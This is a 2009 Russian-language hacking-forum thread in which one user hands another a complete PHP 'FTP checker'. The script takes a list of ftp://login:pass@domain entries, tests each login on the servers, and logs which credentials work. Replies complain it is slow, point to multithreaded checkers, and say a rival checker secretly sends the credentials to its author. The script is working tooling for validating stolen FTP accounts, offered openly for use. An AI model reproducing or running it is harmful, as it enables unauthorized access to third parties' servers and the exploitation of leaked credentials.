ФТП Чекер

Discussion in 'Болталка' started by ttt0z, 22 Jan 2009.

  1. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    60
    Likes Received:
    10
    Reputations:
    -5
    люди дайте фтп чекер на пхп
     
  2. Артем Солнце

    Joined:
    19 Jan 2009
    Messages:
    9
    Likes Received:
    16
    Reputations:
    0
    /showpost.php?p=565040&postcount=1
     
  3. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    60
    Likes Received:
    10
    Reputations:
    -5
    Артем Солнце
    еще раз говорю по слогам. на ПХП
     
  4. Артем Солнце

    Joined:
    19 Jan 2009
    Messages:
    9
    Likes Received:
    16
    Reputations:
    0
    держи сучка!!1
    Code:
    <?
    print "\n";
    print "-----------------------------------\ \n";
    print " this is ftp checker.\n";
    print "----------------------------------------------------->\n";
    if($argv[1])
    $file=$argv[1];
    else
    {
    print " usage: ".$argv[0]." [file]\n";
    print " ~~~~~\n";
    print " where :\n";
    print " ~~~~~\n";
    }
    $good=fopen("good.txt","a+") or die ("cann't open good.txt");
    $bad=fopen("bad.txt","a+") or die("cann't open bad.txt");
    $list=file($file) or die(" [file] - file which string's ftp://login:pass@domain\n");
    $valid=0;
    $novalid=0;
    $i=0;
    for($i=0;$i<count($list);$i++){
    
    $ein=strrpos($list[$i],"/");
    $zwei=strrpos($list[$i],":");
    $drei=strrpos($list[$i],"@");
    $username=substr($list[$i],$ein+1,$zwei-$ein-1);
    $userpass=substr($list[$i],$zwei+1,$drei-$zwei-1);
    $domain=substr($list[$i],$drei+1);
    $connect=@ftp_connect($domain,21,10);
    if(@ftp_login($connect,$username,$userpass))
    {
     @ftp_close($connect);  
     fputs($good,"ftp://"."$username".":".$userpass."@".$domain);
     $valid++;
    }
    else
    {
     @ftp_close($connect);
     fputs($bad,"ftp://"."$username".":".$userpass."@".$domain);
     $novalid++;
    }
    }
    print " all done \n";
    print " ~~~~~~~~ \n";
    print " total ftp: ".count($list)."\n";
    print " god ftp: ".$valid."\n";
    print " bad ftp: ".$novalid."\n";
    print " c(0)ding by evil_packman.icq 233-990-800.\n";
    ?>
     
  5. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    60
    Likes Received:
    10
    Reputations:
    -5
    сколько он будет чекать одну тысячу фтп???
     
  6. Артем Солнце

    Joined:
    19 Jan 2009
    Messages:
    9
    Likes Received:
    16
    Reputations:
    0
    я чо экстрасенс?
     
  7. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    60
    Likes Received:
    10
    Reputations:
    -5
    я хзз. но че то долго чекает.
    может на пхп плохо чекать слишком медленно? рациональнее как то иначе?
     
  8. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    на пхп чекеры гавно, ибо в один поток.
    ищи на перле/питоне многопоточные, или на компилируемых языках...
     
  9. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    60
    Likes Received:
    10
    Reputations:
    -5
    gisTy спасибо
     
  10. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    60
    Likes Received:
    10
    Reputations:
    -5
    к стати, возможно ли что ANTICHAT FTP CHECER фтп отсылает автору, по мимо проверки?
    это из темы /showpost.php?p=565040&postcount=1
     
  11. c0rp$e

    c0rp$e Elder - Старейшина

    Joined:
    5 Dec 2003
    Messages:
    206
    Likes Received:
    37
    Reputations:
    -5
    конечна)
     
  12. Nomask

    Nomask Elder - Старейшина

    Joined:
    10 Feb 2007
    Messages:
    38
    Likes Received:
    5
    Reputations:
    0
    Fakt!